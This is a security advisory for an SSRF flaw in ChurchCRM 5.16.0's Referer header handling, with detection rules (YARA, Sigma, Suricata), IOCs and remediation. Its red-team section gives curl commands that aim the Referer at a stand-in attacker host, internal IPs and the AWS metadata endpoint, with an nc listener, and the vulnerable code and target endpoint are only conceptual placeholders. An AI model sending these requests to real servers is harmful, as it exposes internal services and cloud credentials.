CVE-2025-3954

Executive Summary

CVE-2025-3954 is a Server-Side Request Forgery (SSRF) vulnerability discovered in ChurchCRM version 5.16.0. The flaw resides in the Referer Handler component, allowing a remote attacker to manipulate the application into making unauthorized requests to internal or external resources. Although the attack complexity is high and exploitation is considered difficult, a public proof-of-concept (PoC) has been released, increasing the risk of targeted attacks. The vendor was contacted but did not respond, leaving the software in an unpatched state. This report provides a deep technical analysis, detection rules, exploitation guidance, and remediation steps.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (Remote)
• Attack Complexity (AC): High – Requires specific conditions or chained vulnerabilities.
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): Low – May leak internal service responses.
• Integrity (I): Low – Could modify internal state via crafted requests.
• Availability (A): None

Threat Level: Medium (due to high complexity but public PoC and no patch)

Deep Dive & Mechanics

The vulnerability exists in the Referer Handler of ChurchCRM 5.16.0. The application improperly validates the Referer HTTP header, which is used to determine the origin of a request. An attacker can craft a malicious Referer header pointing to an internal IP address or a sensitive external endpoint. When the application processes this header, it may initiate a server-side request to the attacker-controlled target, leading to SSRF.

Key Technical Details:

• The Referer header is parsed without proper sanitization or whitelisting.
• The application may use the Referer value in functions like file_get_contents(), curl_exec(), or similar HTTP clients.
• SSRF can be used to scan internal networks, access cloud metadata endpoints (e.g., AWS 169.254.169.254), or interact with other internal services.

Attack Flow:

1. Attacker identifies a ChurchCRM instance.
2. Attacker sends a request with a manipulated Referer header (e.g., Referer: http://169.254.169.254/latest/meta-data/).
3. The server processes the header and makes a request to the attacker-specified URL.
4. The response is reflected back to the attacker or used in further exploitation.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the Referer handling logic. A secure implementation would validate the Referer against a whitelist of allowed origins or sanitize it to prevent SSRF.

Vulnerable Code (Conceptual):

// Vulnerable: Direct use of Referer header
$referer = $_SERVER['HTTP_REFERER'];
$response = file_get_contents($referer);
echo $response;

Patched Code (Conceptual):

// Patched: Validate Referer against whitelist
$allowed_hosts = ['churchcrm.example.com', 'www.churchcrm.example.com'];
$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if (in_array($referer, $allowed_hosts)) {
    $response = file_get_contents($_SERVER['HTTP_REFERER']);
    echo $response;
} else {
    // Log and reject
    error_log("Invalid Referer: " . $_SERVER['HTTP_REFERER']);
    http_response_code(400);
    echo "Invalid request origin.";
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A ChurchCRM 5.16.0 instance (e.g., Docker container).
• A listener to capture outbound requests (e.g., nc -lvnp 8080).

Exploitation Steps:

1. Identify the target ChurchCRM URL (e.g., http://target.churchcrm.local).
2. Craft a request with a malicious Referer header:

   curl -H "Referer: http://attacker-controlled.com/ssrf-test" http://target.churchcrm.local/some-endpoint
   

3. If the application reflects the Referer response, you will see the content of http://attacker-controlled.com/ssrf-test.
4. For internal network scanning, use:

   curl -H "Referer: http://192.168.1.1/admin" http://target.churchcrm.local/some-endpoint
   

5. To access cloud metadata (AWS):

   curl -H "Referer: http://169.254.169.254/latest/meta-data/" http://target.churchcrm.local/some-endpoint
   

Expected Output: The server will fetch the attacker-specified URL and return its content, confirming SSRF.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual Referer headers in web logs (e.g., internal IPs, cloud metadata IPs).
• Use the detection rules below.

Hardening:

• Implement a web application firewall (WAF) rule to block requests with suspicious Referer headers.
• Disable the Referer handler functionality if not needed.
• Apply network segmentation to limit outbound traffic from the web server.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound requests to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the web server.
  • Requests to cloud metadata endpoints (169.254.169.254, fd00:ec2::254).
  • Unusual Referer headers containing IP addresses or non-standard URLs.

• Log IOCs:

  • Web server logs showing Referer headers with internal IPs or suspicious domains.
  • Error logs indicating failed connections to internal hosts.

• File IOCs:

  • Temporary files created by the application containing internal service responses.

Detection Engineering

YARA Rule

rule CVE_2025_3954_SSRF_Referer {
    meta:
        description = "Detects SSRF attempts via Referer header in ChurchCRM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3954"
    strings:
        $referer_ssrf = /Referer:\s*https?:\/\/(169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/ nocase
    condition:
        $referer_ssrf
}

Sigma Rule

title: ChurchCRM SSRF via Referer Header
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SSRF attempts targeting internal IPs or cloud metadata via Referer header in ChurchCRM
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3954
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-referer|contains:
            - '169.254.169.254'
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
    condition: selection
falsepositives:
    - Legitimate internal referrals (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3954 ChurchCRM SSRF via Referer Header"; flow:to_server; content:"Referer|3a|"; http_header; pcre:"/Referer:\s*https?:\/\/(169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Referer Handler: If possible, disable the functionality that processes the Referer header in ChurchCRM.
2. Apply WAF Rules: Block requests with Referer headers containing internal IPs or cloud metadata IPs.
3. Network Segmentation: Restrict outbound traffic from the web server to only necessary external services.

Long-Term Fix:

• Since the vendor has not responded, consider migrating to an alternative church management solution or applying a custom patch as described in the "Vulnerable vs. Patched Code" section.
• Monitor for official updates from ChurchCRM.

Workaround:

• Use a reverse proxy (e.g., Nginx) to strip or validate the Referer header before it reaches the application:

  location / {
      proxy_set_header Referer "";
      proxy_pass http://backend;
  }
  

Valters IT